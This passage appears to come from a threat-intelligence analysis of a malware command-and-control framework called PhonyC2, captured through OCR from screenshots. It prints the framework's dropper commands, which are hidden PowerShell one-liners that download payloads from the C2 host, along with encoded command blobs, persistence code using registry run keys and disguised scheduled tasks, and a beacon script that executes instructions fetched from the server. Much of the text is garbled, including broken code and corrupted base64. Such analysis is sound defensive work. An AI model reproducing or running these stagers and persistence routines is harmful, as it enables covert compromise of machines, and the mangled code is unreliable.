.n.uum Bllms E[Imn Ullmu ﬂ‘.rﬂlﬁ 3 Elrews ﬂ‘lma Bl-mz E[Inau U‘Ims ﬁ‘.mln Bllmna new1 £ o
+14444443144444443,13601313,1443@136,1443@13@,14314443,14436136,1313@, 143€@143,14314306, 14430143, 13130, 1361300, 13060R13 A
»143@13@€,143€13€@, 1443@13@, 143@1313,1443@143,1443@143,1300@eq, 1444313, 130@e0@, 130@13@,143130@@,1443130@, 1443130@, 14438
@@e,144313@,1314443,1314443,143@€13,1431443,143013€,131443¢,1436613,143143@,131443¢, 1430013, 1431430, 1430136, 131443¢, 143
@@13,144313@,143€@13,143€143,1436143,1431443,1314443,130€13€,13136,13@130@@,143€1443,1431430@,14314443,1430613@, 1430QE13
14314306, 144313€,144313€@, 14313013, 14314313,14361313, 1443@13@, 1300€eQ, 1444313, 1380EEE, 143813, 1438000, 1313€, 143@143€, 1
4431313, 1431443@,1430€143, 144313@@, 1431313, 14314443, 1431443@, 13668€@, 13131300, 14314443, 143143¢, 13136143, 1443130@, 1443¢
13@,14313@13,1431443@,143@1443,131300@, 13@13@@,14436143,1443130@, 1443013@,1313@13,14443143,1313@,1443013@,143@1313,1443
13@@,14431313,1443@13€,1431443@, 1380REE, 13143143,1360@143,14314443,1431443@, 1443143, 14301313, 1443013@, 1443130€, 1314431
3,144313¢, 144313¢, 131313@@, 14314443, 138@613@, 1436@E13, 14438143, 14381313, 143143¢, 14313@e, 1313@143, 144313@@, 144313¢, 1431
3@13,1431443@,14301443,1313800,13143143,1313@143,14443@13,14430143,14431300,14301313,14314313,131443@,1313130@,143@1313
,14443@@@,144313€@, 131443@, 130€1313,1431443€, 14300143, 14314443, 1438130¢, 14313813, 14314430, 14301443, 13144313, 144313¢, 144
313¢,13@eee13,1313@143,13e@€143,13@13@13,13e13€13, 131443, 13e@1443, 1431313, 144313¢€, 13e0@13¢, 14443€13,144313@€, 1430131
3,1443@143,1313@@6@, 13@130@, 14438143,144313@@,1443@13@, 1313@13,1313@13, 1313@,14444313,1313@,1313@, 143@143@,14431313, 1431
443@,14300143,1443130€,14313013,14314443,1431443@, 130000, 13131360, 14314443, 1431313, 13130143, 14431300, 14430130, 14313013
,1431443¢,14361443, 1313@@@, 136130, 14430143,144313@@, 1443@13¢, 1313013, 14443143,1313€,1443613¢,143€1313,1443130€,1443131
3,1443@13@,1431443@,136@€@Q, 13143143,13130143,14443€13,1443€143,144313€@,143@1313,14314313,131443€,131313€6,14301313,14
44300€,144313€@,131443@, 13861313, 1431443¢,14306143,14314443, 14301386, 14313@13, 1431443@, 14301443,13144313, 144313@, 144313
€,13131313,131313@@, 13001436, 1443@@@, 131443@, 13¢€1443,143@1313,1443130€, 13130143, 14431360, 1443€13¢, 14313013, 1431443¢, 14
301443,1313e@e,13143143,13130143, 14443013, 14438143, 14431300, 14301313, 14314313, 1314430, 13000143, 14314443, 1431443¢, 144314
3@,14301313,14430136,1443136@, 13144313, 144313@, 1443136, 13001430, 14430136, 14314443,14314313, 13860136, 14306613,14436143,1
4301313, 143143@, 14313€@, 13130143, 14431306, 1443@13@, 14313613, 1431443¢, 14381443, 1313¢€e, 130130@, 14430143, 1443130, 1443013
@,1313@13,1313@13,1313@,14444313,13130,1313@,1430143@,14431313,14314430,14300143,1443130@,14313@13,14314443,1431443@,13
@@eee, 131313@@,14314443,138€013@, 14300613,1443143,143¢1313, 1313613¢, 14301313, 1443143, 13136143, 144313¢@, 14430138, 14313
€13,1431443@, 14361443, 1313066, 138138¢, 14430143, 144313@€, 1443813¢, 131313, 14443143, 1313¢, 1300€0e, 1308008, 130EEEE, 130EEEE
,13@130@,1443@143,144313@@, 1443@13@, 13606@A, 1444313, 136F@EA, 13613@A, 14430143,1443130@, 1443013@,131443@,13131306,1431444
3,1308143, 14313000, 14300013, 1443013, 13@0@@13, 14436138, 1443813@, 14388613, 1444313, 1313008, 1313013, 13130, 1380000, 138088
@,13eeeee,13¢66@e, 13143143, 1430@€13,1443613€,1443013@, 1430@€13,14443@13,13144313,144313@, 144313@, 1313013€, 143@1313,1443
143@,143€1313,1443@13@,1443@143,143€1313,1313@6@,13613@@,1443@143,144313@@,1443013@,1313@13,1313@, 13Q@EeQ, 130Q0EEQ, 136@Q
€@, 136006@, 1361360, 14430143, 1443130¢, 1443013, 1386EEE, 1444313, 13680€E, 1314313, 1431313@, 14314443, 14313013, 14314438, 13138
€@, 13e13@@, 14438143, 144313@€, 1443813@, 1313013, 13136, 13€CEEE, 1360EEE, 138BEER, 136RREE, 14430136, 14301313, 144313@@, 14431313
,1443€13@,1431443@, 1380@€@, 13@13@@, 1443@143,1443130€,1443@13@, 1313@,14444313,1313@,1313@,143@1438,14431313,1431443¢, 143
@@143,1443138€,14313013,14314443,1431443¢,130@E0E, 14386138, 14430143,1443@143,1438613@, 1313666, 1381386, 14438143, 14431308
,1443@13¢,1313@13, 14443143, 1313@, 136@REE, 13600EE, L36RAEE, 1380REE, 136136R, 14430143, 14431306, 1443€13¢, 1366@EE, 1444313, 138
@@@@,131313@@,14314443,1431430,1313@143,14431380,1443@136,14313013,14314430,14301443,131300@,13@1300,14430143,144313¢0@,
1443@13@,1313€13,1313€, 13e@eee, 139eeee, 139@ERE, 13@EEEE, 1391301, 14436143, 144313€@, 14430130, 1300000, 1444313, 130E6E, 13131
3@e,14314443,143143¢,1313@143, 1443130, 1443¢13@, 1431313, 1431443€, 143@1443, 1313€0€, 13@130¢, 1443@143, 14431306, 1443@13¢, 1
313@13,1313@,13@@eEE, 138@RAE, 1306RAE, 130EAAR, 1301306, 1443@143, 14431360, 14436136, 136CRAE, 1444313,130RAAE, 13131366, 143144
43,13€0@13@, 143@@@13,1443@143, 1431313, 1313@13¢, 1431313, 1443143, 13130143, 1443130, 1443013@, 14313013, 1431443@, 143¢1443
,1313eee,13e136@,1443@143,144313e@, 1443013¢,1313813,1313€, 130@E0R, 136EER, 1360CC, 136@RRE, 1361300, 14436143,14431306, 144
3@13@,13€@0E@,1444313,136RAER, 1313130@, 14314443,1431436,13130143,1443130@, 1443613@,14313013,1431443@,143@1443,1313@0E, 1
3@13@@,1443@143,1443130@,1443@13¢,1313@13, 1313¢, 13¢E@EE, 138€ERE, 138EEEE, 13@EEEE, 1361308, 14430143, 14431300, 1443@13¢, 130€
@@e, 1444313, 13¢@€ee, 1313138¢,14314443, 143143, 13130143,144313@€, 1443¢13@, 14313613,1431443¢,143€1443, 1313066, 1301366, 144
3@143,144313@€,1443€13@,1313@13,1313@, 13€@@e@, 138@@eQ, 138@@CR, 13€@ALRE, 1443@13@,14301313,1443130@, 14431313, 1443€13@,1431
443@,13@@RAE, 1381386, 14436143, 1443130@, 14430136, 14444313,1313@,13136,143@143@, 14431313, 14314436, 14386143, 14431308, 14313
€13,14314443,1431443@,136006¢, 14301443, 143@@136, 14430143, 143¢1443, 1313¢0€, 1391300, 14436143, 144313¢€, 1443013¢, 1313613, 14
443143,1313@, 1300008, 1300FA6, 13060@6, 1300000, 1301306,1443@143,14431300,14430136, 130600, 1444313,1300A06, 13131300, 143144
43,1431313,1313@143,144313@€, 14430130, 14313013, 1431443¢,143€1443, 1313066, 1301360, 14438143,14431308, 14430130, 1313013, 131
3@, 136@@EE, 136EGEE, 136REEE, 136EEEE, 13¢136@, 14430143, 1443130€, 1443¢13@, 13@E@EE, 1444313, 13131300, 14314443, 1431313, 1313614
3,144313€@,1443@13@,14313@13,1431443@,14381443,13136@@, 13@130@,1443@143,1443136@, 1443@13@,1313613,1313€, 136ECAR, 130AEAR
,130000@, 1300@E@, 1301360, 14430143, 1443136@, 14430130, 1380€E@, 1444313, 13¢0000, 1313130€,14314443,130€0130, 14300013,1443014 ¥

Normal text file length: 26,718 lines: 1 n:1 Col:2167 Pos:2,167 Windows (CRLF)  UTF-8 IN

Figure 13: HTML response from C2 server for step #1

&

:
+» & > [0 s [

Reads e Replace Split the string lterate through Check if object

content of by commas *' i
. : the arra is not null
db_sqlite and add to an ! - Fi 14:
array igure :

o -

Execute the content
of 'n* as a Powershell
code using Invoke-
Expression

-0

Convert to UTFS Divide by 14
and append to and convert fo
variable 'n' base 2

Decode routine flow (values might change in different executions)
“dropper” Command:
This command creates different variants of PowerShell commands only for step (1).
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(PhonyC2:172.16.162.1:1337) :droper

powershell -NoProfile -ExecutionPolicy Bypass -W 1 -Command "Invoke-RestMethod -Uri http://172.16.162.1:1337/562a2ffe-a45a-4318-864b-5942fbd0aB59 . aspx?WSWTNCOENL7=WSWTNCOENL? -OutFile c:\prograndata\db.s
qlite;attrib +h c:\programdata\db.sqlite

powershell -EP BYPASS -NoP -W 1 -EncodedCommand cABVAHCAZQBYAHMAaABLAGWADAAGACOATQBUAFAACGBVAGYAAQBSAGUAAA LAEUAGABLAGHMAAQBOAGKADWBUAF AADWBSAGKAYWBSACAAQIBSAHAAYQBZ AHMALAALAFCATAAXACAALQBDAGBADQB EAGEADGE
KACAAIQBIAGAADBVAGSAZQALAFIAZQBZAHQATQBLAHQAAABYAGQALAALAFUACGBPACAABABOAHQACAAG YACAAMQAGADEAMWAZADCALWAADYAMIBhADIAZGBMAGUALQBhADQANQBhACGANAAZADEAOAATADGANGAOAGI ALQALAD
KANAAYAGYAYQBKADAAYQA4ADUAOQAUAGEACWBWAHGAPWBXADUAVWBUAE4AQWBPAEUATgBMADCAPQBXADUAVWBUAE4AQWBPAEUATGBMADCATAALAEBAIQBOAEY AAQBSAGUATAB JADOAXABWAHTADWENAHTAYQB tAGQAYQBOAGEAXABKAGT AL gBZAHEADABPAHQAZQATAGEAD
ABOAHIAAQBTACAAKWBOACAAYWAGAFWACABYAGBAZWBYAGEADQBKAGEAJABhAF WAZABLACAACWBXAGWAIQBOAGUATGA

pnwershell -NoProfile -ExecutionPolicy Bypass -W 1 -Command "Iwr i ://172.16.162.1:1337/562a2F fe-a45a-4318-864b-5942Fbd0aB59 . a5px ?WSWTNCOENL7=WSWTNCOENL7 -OutFile c:\prograndata\db.sqlite;attrib +

il -En Command CABVAHCAZQBYAHMAAABLAGWADAAGACOATGBYAFAACGBYAGYAQBSAGUATAATAEUAGABLAGHAIQBOAGKADWBUAF AADWBSAGKAYWB SACAAQBSAHAAYQB Z AHMAT AALAF CATAAXACAALQBDAGBADQBtAGEADGB

CgAGACOAVQBYAG AIASOAHnAdAEwADoALwAVADEANwAyA‘JAMnA AMQAZAD TALgAXADOAMQAZADMANWAVADUANGAYAGEAMBMAGYAZQA t AGEANAATAGEAL QAGADMAMQASACOAOAAZADQAY AL ADUAOQABADTAZGE LAGQAMABhADGANQA SACAAYQBZAH
FQATQBDAEBARQBOAEWANWAIAFCANQBXAF QATGBDAEBARQBOAEWANWAGACOATWE 1 AHQARGBPAGWAZQAJAGMAOGBCAHAAC OBYAGCACOBhAGOAZABhAHQAYQBCAGQAYAUAHMACQB S AGKAJABLADSAYQBOAHQACOBPAGTATAAT AGIATAB JADOAKABWAHIAD

WBNAHT AYQBTAGQAYQBOAGEAXABKAGIALGB ZAHEADABPAHQAZQAT AN

powershell -NoProfile -ExecutionPolicy Bypass -W 1 -Command "Start-BitsTransfer -Source http://172.16.162.1:1337/562a2f fe-3453-4318-864b- 5942fbd0aB59. aspx?WSHTNCOENLT=WSWTNCOENL7 -Destination c:\progrand
c:\programdata\db.sqlite"
-NoP -W 1 -EncodedCommand CABVAHCAZQBYAHMAaABLAGWADAAGACOATGBVAFAACGBYAGYAaQBSAGUATAALAEUACABLAGHAdQBOAGKADWBUAFAADWBSAGKAYWESACAAQEBSAHAAYQBZAHMATAATAFCATAAXACAALQBDAGBADQB EAGEADGE
ATQBTAHQAYQBYAHQALOBCAG AdASLAFnA(gEhAuJA(waAuUA(gAgA UAUWB»AHUA(QE1AuunIABGAHnAdABwADuALwA»ADEANwAyAFJAMDA’ AMQAZADIALGAXADOAMQAZADMANWAVADUANG AYAGEAMIBMAGYAZQATAGEANAA1AGEAL QADADMAMQA4ACBADAAZAD
QAYgAtADUAOQAOADTAZgBLAGQAMABhADGANQASACAAYQBZAHAAEAA /AFCANQE XAFQATgBDAEBARQBOAEWANWAIAF CANQBXAFQATGBDAEBARQBOAEWANWAGACOARABLAHMAJABPAG4AYQBOAGKADWE UACAAYWAGAFWACAB YAGBAZWBYAGEADQBKAGEADABhAFWAZABLACAAC
waAthaQE@AgHAOwBhAHQAdAEvAQkAVgAgAL<AaAAgAQMADgBcAHAAchvAQcAcgBhAu@A’ABhAHQAfQEcAuQAVgAuAHMAcQE<ALkAdAB\ALIA

[System.Net .HTTPWebRequest]: ab SPX 75 HTNCUENL’ U SWTNCOENL 7 Net.WebRequest]: :GetSystemWebProxy();$r.proxy.Credentials=[N
alcache befaultcredential t ol m() -0bj -I0.StreamReader tream).ReadToEnd();Set-Content -Force
:\prograndata\db.sqlite -Value $:
powershell -EP BYPASS -NoP -W 1 -EncodedCommand JABYADOAWWBTAHKACWBOAGUADQAUAE4AZQBOACAASABUAFQAUABXAGUAYgBSAGUACQB1AGUACHBOAFOAOGAGAEMACGE LAGEAJABLACGAIGBOAHQAJABHADOAL WAVADEANWAY ACAAMQAZACAAMQAZADIALGA
XADOAMQAZADMANWAYADUANGAYAGEAMGBMAGYAZQALAGEANAA1AGEALQABADMANQA4ACOAOAAZADQAY 9ALADUAOQARAD I AZGB LAGQAMABhADGANQASACAAYQB ZAHAACAA /AFCANQB XAFQATGBDAEBARQBOAEWANWASAF CANQBXAFQATGBDAE BARQBOAEWANWA LACKAOWAKAH
TALgBWAHIAbWBAAHKAPQBbAEAAZQBOAC4AVWBLAGIAUGB LAHEAJQB LAHMAJAB dADOAOGBHAGUAJABTAHKACWBOAGUAbQBXAGUAYGBQAHT AbwB4AHKAKAAPADS A]AByA[4A<AB\ACBA\ABSA(4Aow9vACHA7ABlAE4AdABpACEAbASzADOAHwSDACHAdAAuAEMA(QB[ALQA’
QBUAHQAAQBhAGWAQWBhAGMAZABLAFBAOGAGAEQAZQBMAGEAAQBS AHQAQWBYAGUAZABLAGAAJABPAGEABABZADSATABYACAAVQBZACUACGBBAGCAZQBUAHQAPQALAECABWBVAGEABABLAGIABWBOAC T AOWAKAHIACGAOACQACGAUAECAZQBOAF I AZQBZAHAABWBUAHMAZQAC
AHIALQEHAQUAKAAPAD5A1AB'AHIAPQAGAEJA‘(BEA @ATWB1AGOAZQB J AHQATABTAHKACWBOAGUABQAUAEKATWAUAFMAJABY AGUAYQBLAF IAZQBhAGQAZQBYACA
AJABYAGUACQBZAHQAC OBLAGEAZ 8ARQBUAGQ s QALQ 9 9 BjAGUATAATAFAAYQBOAGOATAB JADOAXABWAHTAbWBNAHTAYQBtAGQAYQBOAGEAXABKAGTALGBZAHEADABPAHQAZQAGACOAVY
BhAGWAJQBLACAAIABZAHTA
(PhonyC2:172.16.162

Figure 15: “dropper” command output

“Ex3cut3” Command:

This command creates different variants of PowerShell commands for both step (2) and (3)
combined:

(Phonyc2:172.16.162.1:1337) :Ex3cut3
qlite).split(',');rm -Force ci\programdata\db.sqlite;foreach($i in $x64){if($1){$c += [System.Text.Encoding]::UTF&.GetString([Systen.Convert]::ToInt32($1,2))}}

tart-Process powershell Argum\.nﬂ_\ﬁt "-exec bypa w 1 "$x64=(gc c:\programdata\db.sqlite).split(',');rm -Force c:\programdata\db.sqlite;foreach('$i in "$x64){if( [System.Text.Encoding]::UT

Fe.Getstring([System.Convert 2("$1,2))3351°E'X("Sc -Join "')" -WindowStyle Hid

owershell -EP BYPASS -NoP -W 1 -EncodedCommand UwBOAGEAcgBOACOAUABYAGBAYWBLAHMACWAGAHAAbWB3AGUACGBZAGIAZQBSAGWATAALAEEACGBNAHUABQB LAG4AJABMAGKACWBOACAATGAtAGUACABLAGHATABAHKACABhAHMACWAGACOAdWAGADEATAB

bACQA AAADOAPOAuAucAVwAgAuMADgB(AHAACgBVAncAcgEbAnOA’AEhAHQAVQECAQOAV@AUAHMA(QB AGKAJABLACKALgGBzAHAADAB pAHQAKAANACWA IWAPADSACGB tACAALQBGAGBACGE JAGUATAB JADOAXABWAHIAbWENAHIAYQB tAGQAYQBOAGEAXABKAGIALGBZAH

[EADABPAHQAZQA7AGYADWEYAGUAYQB JAGGAKABACQAaQAGAGKAbGAGAGAA JAB4ADYANAAPAHSAQBMACGAYAAKAGKAKQE TAGAAIAB JACAAKWASACAANWETAHKACWBOAGUADQAUAFQAZQBAAHQAL B FAGAAYWE vAGQAGQBUAGCAXQAGADOAVQBUAE Y AOAAUAE CAZQBOAFMAJ

EyAuPAngnH(gAWwETAHPAcwE&AuUMbQAuAEMAwauAH(AsnEyanAKﬂAoADQAUAEVAEPAngOADMAMgAquAAWAEpA(wAMgApA(PA(Q5§AD§ASQEQAEUAVAEVACQAVAAkAGMAIAALAEuAwapAG4AIAAnAC;AKQAlACAALQEKAGkAbgBkAGSAdwETAHQAeQE:AGUAIAEI
\GKAZABKAGUAbg.

powershell -W n IEX(hostname)
owershell -W n I'E’X(hostname)

Figure 16: “Ex3cut3” command output

list” Command:

The list command shows all the connected computers to the C2 with some associated
information:

(PhonyC2:172.16.162.1:1337):1list
ID USERDOMAIN COMPUTERNAME USERNAME Country ExternalIP

XGEEPG6K WIN1E WIN1O getcountry
RPOMLTE WINI1E WIN1O se getcountry

3IKQR 1MW / WINTX , getcountry
Figure 17: “list” command output

"setcommandforall” Command:

This command is the most important one, as it allows the threat actor to execute the same
command on all the connected computers at the same time. For example, a command that
will download and execute a ransomware payload.

(PhonyC2:172.16.162.1:1337):setcommandforall
PS = whoami
Shell Command Set For All Agents

172.16.162.1:1337):
ser
Figure 18: “setcommandforall”

command output
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"use” Command:
This command allows the threat actor to get a PowerShell shell on a specific computer:

(PhonyC2:172.16.162.1:1337):use 2

Agent 2 Selected . .« »
["WIN1O '\ TWIN1® IERETIETYRRR- igure 19: “use” command output

»

(PhonyC2:172.16.162.1:1337)(AgentID:2):

(PhonyC2:172.16.162.1:1337)(AgentID:2):help

Documented commands (type help =topic=}):

back exit getcountry 1info Llistfile persist shell sleep upload

Figure 20: Additional command options after selecting “use”
"persist” and Other Commands:
Most of these additional commands are self-explanatory, the only interesting one is “persist”

Figure 21: “persist” command output

The “persist” command is used to generate a PowerShell code to enable the operator to gain
persistence on the infected host so it will connect back to the C2 if the infected host is
restarted.

Additionally, when the operator executes the “persist” command it writes an encrypted
payload to a pre-defined random registry path in “HKLM\Software.” This can be partially seen
in commandline.py (figure 22), as some of the values are stored in config.py.

The encrypted payload is a slightly modified version of “persist_payload_2022.ps1” that
triggered the entire investigation.
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242 def do_persist(self, command):
3

24

244 p_id - config.persist_randomToken_genarator()

2a5 data_command = config.commands[int(self.UseCmd_agent_1d)]

246 print("Persist Command Set TO PID " + str(data_command[6]) + \nGet She And Put This Commands:")

247 persist_data = config.persist_encode_basehash_b52(config.p_core)

2a8 # print(persist_data)

2a9 persist_data = conflg.xor_crypt_string(persist_data, encode=1ruc)

250 # print(persist_data.decode('utf-8

251 persist_data = config.persist_ encwde basehash_bs2(persist_data.decode(’ 2]

252 #print(config.persist_run)

253 persist_run = config.persist_run

254 #print(persist_run)

255 persist_run = "powershe NoProfile -ExecutionPolicy Bypass -W 1 -encodedCommand ' + (encode(persist_run)).decode("utf-g8")

256 #print(persist_run)

257 #persist_run = config.encode_hex(persist_run) //hex

258 #print(persist_run)

259 #persist_run_args = “/htg:htgstr“.replace("htgstr”,persist_run[::-1])

260 #persist_run_args = persist_run[::-1] //reverse_Hex

261

262 persist_cmd = 'New-Item -Path HKLM: \\ oftware -Name v rce | Out-Nu id = "+str(p_id)+ +'tr(c5nflg only_ server)4 SUID = wmic path computer
uuid;SHDD - wnic diskdrive get serial yooo = (SUID | je Index Trim( SHOD | Index 2) HTTPGET($ad , Sreq){try{Sr =

HTTPWebRequest]: :Creat 3 sr.method = "GET et Webrequest ] Credent Credentialcache]: :DefaultCredentials;Sr.Keeps

Accapt  Encod4ng

sr = New-Object em.10.StreanRe
Sgc:New-ItemProperty -Path “"HKLM:SOFTWARE\\(KEY Name

ReadToEnd( j;}catc s ‘+config.endpoints[ Fers I de"=
'+ str(persist_data) + * -Force | Out-Nul
203 wpersist_run = '''%comspeck start /c for /F "tokens=3" %A in ('reg query "HKCU\Software” /v "TEST"') DO (C:\\Windows\\System3z\\s oeL\\PRINTERs\\unss vbs %A)"
264 #persist_run 2 = '''%ComSpeck start /c C:\\Windows\\Systen32\\spool\\PRINTERS\\0099.cnd htgstr'''.replace("htgstr’, persist_run[::-1
265 #persist_run = '''wmic computersystem list full /format:'C:\\Windows\\System32\\spool\\PRINTERS\\(xsl).xsl' '''.replace(' (xsl)‘,(onflg persist_randomstring_for_xsl)
266 #persist_run = '''WScript.CreateObject("WSeript.Shell”).Run("C:\\\\intel\\\\utils\\\\utils.vbs",0);""
267 persist_run = config.jse
268 #print(persist_run_2)
269 #persist_run_cmd = '''$path="C:\\Windows\\Systen32\\spool\\PRINTERS\\(jsefile).jse";$path2="C:\\Windows\\System32\\spool\\PRINTERS\\ (xsLFile).xs1"; -

[System.Text.Encoding]::UTF8.Getstring([Systen.Convert]::FromBase6dstring('(jse)'))| Out-File Spath;[System
Spathz;schtasks fCreate /F /RU System /SC DAILY /ST 10:01 /TN 'MicrosoftEdgeMachineCore’ /TR "persist_run_2
\"'".replace(" M\(rusoFrEdgﬁMﬂ(h\neCnre , config.Taskname_RandomToken).replace("(jse)", config.jse_bs6a).replace(”(xs1)", config.xsl_bse4)

270 #persist_run_cmd = '''mkdir c:\\intel;cd c:\\intel;wget https://www.nirsoft.net/utils/nircmd.zip -OutFile c:\\intel\\utils.zip;Expand-Archive c:\\intel\\utils.zip -DestinationPath c:\\intel\-
\utils\\ -Force;rm utils.zip;cd c:\\intel\\utils\\;mv nircmd.exe utils.exe -Force;[System.Text.Encoding]::UTF8.CetString([System.Convert]::FromBase64String('(cmd)'))| Out-File -Encoding ascii -Force
C:\\Lntel\\Utils\\utils.cmd;schtasks /Create /F JRU system /SC DAILY /ST 10:01 /TN 'OneDrive Reporting Task-S-1-5-21-8525444556-5656696-(1d)-7878" /TR "c:\\lntel\\utils\\utils.exe exec hide c:\-
\intel\\utils\\utils.cmd";"" '.replace("(1d)", config.Taskname_RandomToken).replace("(emd)", config.to_be4(persist_run))

xt.Encoding]: :UTF8.GetString([System.Convert]::FromBase64string('(xs1)'))| Out-File

persist_run_emd = '''reg add HKLM\\Software\\Microsoft\\Windous\\Currentversi e pun /i NEWRAIE (VY s.jse /fimkdir c:\\intel fied c \\ ntel\\u
tem.Text.Encoding]: :UTF8.Getstring( tem.Convert]::FromBase6astring(’(cmd)'))| Out-Fi Encoding asc nrel\\utils\\util e;New at n:SorTH Vt\\ KEY)" -Name
EST)" -V val)' -Force | Out-Nu replace(”(1d)", conflg.Taskname_RandomToken). repla(e(
config. to b64(DErSlst run)).replace(’ (vol)',str(config.persist_run)).replacel’ (T657)',config.persist_randomstring_for_TEST).replace( (KEY)',config.persist_randomstring_for_key)
272
273 #persist_run_cmd = persist_run_cmd.replace('(xslfile)',config.persist_randomstring for_xsl).replace('(jsefile)',config.persist_randonstring_for_jse)
274 #print(persist_cmd.replace(' (TEST)',conflg.persist_randomstring_for_TEST).replace(’ (FBI)',config.persist_randomstring_for_FBI).replace('(KEY)',conflg.persist_randomstring_for_key))
275 persist_cnd =
to_my_encode (persist_cnd.replace(' (TE5T)',config.persist_randomstring_for _TEST).replace(' (FEI)',config.persist_randomstring_for_FBI).replace('(KEv)',config.persist_randomstring_for_key))
276 wprint(persist_cmd)
277 (config.commands[int(self.Usecmd_agent_td)1[1]) = persist_cmd
278 #print(persist_run_cmd.replace("persist_run_2", persist_run))
279 print(persist_run_cmd)
280 #print(“check With LocalAdmin Right: schtasks.exe fRun /TN MicrosoftEdgeMachinecore”)
281
282 # def do_persistun(self, command):
283 ” p_id = config.persist_RandonToken_genarator()

Figure 22: Code related to perS|stence from commandline.py
Below is the full chain used to achieve persistence by PhonyC2:

e By executing “persist” on a machine connected to PhonyC2 the C2 writes encrypted
payload to the registry

» Add a registry key to the Windows registry that runs a script file named utils.jse located
in the C:\intel\utils\ directory at startup

o Create the directory c:\intel\utils\ if it does not exist
o Change the current directory to c:\intel\utils\
e Decode a base64 blob and write it into utils.jse

var a= 'Dg'

I

var w = WScript.CreateObject

("Wscript.

var oExec = w.Run('

Figure 23: Contents of utils.jse (some values change in each execution)
Create a registry key with random name (fmoopWgmBIla) at HKLM:\SOFTWARE\\
<random> (iCXgExISMHV) with content similar to below:

chtasks.exe /Run /TN MicrosoftEdgeMachineCore;dir C:\\Windows\\System32\\spool\\PRINTERS\

14/26



_computersystemproduct get uuid;

1 in
6 $HDD = wmic diskdrive get serialnumber;

#

S$keyooo = (SUID |

# HT
12 # e
"

function HTTEGET ($ad , $req)(

keyooo = <COMPU

iDD_SERIAL>
ct -Index 2).Trim({) +":" + (SHDD| select-object -Index 2);

ver specified in the
number

s the re

ct ret

tryl
§r = [System.Net.HTTPWebRequest]::Create ($ad+$req);
$r.Method = "GHET";
§r.proxy = [Net.WebRequest]::GetSystemWebProxy();
§r.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials;
§$r.KeepAlive = $false;
$r.UserBAgent = "Googlel
$r.Headers.Add{"Accept-Er ling"”, "identity");
$rr = $r.GetResponse () ;$reqgstream = $rr.GetResponseStream() ;
§sr = New-Object System.IO.StreamReader $regstream;
§33 = $sr.ReadTcoEnd();

g
.
.

—

catch{Write-Host $_}}:

n every & seconds

M

# g the "p_id
Sgc "+§p_id+"~"+Skeyooo
# Send the HTTP GET to get instructions from the Ca&C
§res = HTTPGET $address §gc;
# Save the sent request to a file in C:\Intel\utils\
$x=5address+$gc;
$x | out-file C:\Intel\uti
# Save the 1t of the HTTP GET in C:\Intel\utils\
Sres | out- e C:\Intel\utils\res.txrt;
# If the response from the C&C reciewved, convert it from Base&d, Convert the result to UTF8 and execute using invoke-expression
if (Sres)(

invoke-expression([System.Text.Encoding] : :UTF8.GetString ([System.Convert] : :FromBase64String ($res))) ;

break} ]|

mputer_ UUID>:<HDD SERIAL>"

Figure 24: Content written to the registry with analysis comments

When the computer is rebooted, the run key causes the execution of the utils.jse script

The utils.jse script reads and executes the contents from the registry as seen in figure
23

The PowerShell code in figure 25 connects to the C&C server to receive and execute a
code that is similar to the below:
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Input + O3 8§ =

JABlAGAAYWAEADBATABDAFMAQE ZAHQAZQB LACAAVAE LAHE Ad AALAEUADEE JAGBATABpAGAAZWBdADOADEBVAFQAREAAADS AT gB1AGAAYWBBAGKADWBUACARSQA
gACEAIABhAHIAZ W 2ACKATABTACQACWASACQAYOBYAGCADEATACQAZ AASADBAT ABAACEAKQATACQAdgAZADBATAAWADS AJAEJACAAPQAZADAAOWBIAGEAR0BSAG
UAKAAKAGMATAATAGAAZQAZACQACWALAGWAZQBUAGCAdABOACkAewAk AHY APQAOACQAdEAGADUAMZAPAC SAKABDAEKAbZBBADMAMEBAF s AYWBOAGEACBAACQAC
WEbACQAYWBJACBANAAWAC KAOWBpAGYAKAACACEATAB JACSAMOAPACUAMWAPACAALQBIAHEAT AMWAC kiewB 3AGEAS0B s AGUAKAAKAHYATAATAGAAZQAZADAAK QBT
ACQAdgB2ADBATABZACUAMEALADYAOWBPAGYAKAAKAHY AdgAgACBAZWBBACAAMAADAHSATABKACSAPQBbAGMAAABhAHIAXQBbAEKADEEBADMAMEBIACQADEE 2AHE
AJABZADBAWWBIAGAADAAZ ADIAXQACACQADgAVADIANQAZACKAFQBOACQAYWArADBAMOATAHEAOWBbAGEACZBY AGEAeQBAADOAOZBSAGUADEE1AHIACWBIACEATA
BkACkAOwAkAGQAPQBbAFMAABYAGKADZBNAFBAOZASAECADWE PAGAAKAANACCALAAKAGQAKQATAHIAZQBBAHUACZBUACAATABKAHBAZ gB1AGAAYWBOAGKADWBUA
CAASAAZAHSACABhAHIAYQBTACZAIABZAHQACEBPAGAAZWASACAATABTAGUAJABOAGBAZAAPADSATABAAGBACZBrAGUAQAZADBALAAKAGUAbEE JAC4ARWB 1AHDA
QgB5AHQAZQBzACgATIgBhAHCAZQBZAGBADOB1AHAAYQBZAHMAdWBYAHIAZARYADAAMEAZ AGEAWE 1AHMAbWETAGUACABhAHMACWE 2AGBAC gBKADIAMAAY ADMATZA
pADsAaQBmMACAAKALKAGAATQBRAGEADWBKACAALQBIAHEATAAI AGQAZOBjAHTIA2QBWAHQAT gApAHSATABZAHQACEBPAGAAT WAZ ADBATAAKAGUADEE JACAARWEBLAH
QAUWBBAHIAaQBUAGCAKABbAFMAeQBZAHQAZ(QBTACSAQWBYAGAAdgBlAHIAJAB ADCACEBGAHIAbWB TAEIAYQBZAGUANZABAFMAdABYAGKAbEBNACEATABZ AHQAC
gBpAGAAZWAPACKATQAKAGIAeQBAAGUAUWBBAHIAaQBUAGCATAASACAATABLAGAAYWAUAE CAZQBBAE IAeQBEAGUACWACACQACWBAAHIABQBUAGCAKQATACQACABY
AHIAZABEAGEAdABhACAAPQAZACQAKABMAGBACEAZACZATABPACALPQAZADALOWAEACQARQAGACEADABBACAATABIAHKADABIAFMACABYAGKADEBNACAADABLAGS
AZwBBAGEAOWAZACKATABTAGYADWBYACAAKAAKAGOAT AASACAAMALTACAATABACALALQBSAHOATAAK AHEADWB Y AGSATQBSACAADARIAGAAZWBBAGEAOWAZAC QAR
ArfCsAKQAgAHSATABIAHKAJABIAFMADABY AGKADEENAFSATABDAFEATAATAGTIA=ABVAHTATAAKAHEADWBY AGSATQBSAF SATAB gAFBAOWAKAGKAKWArADSAGQBMA
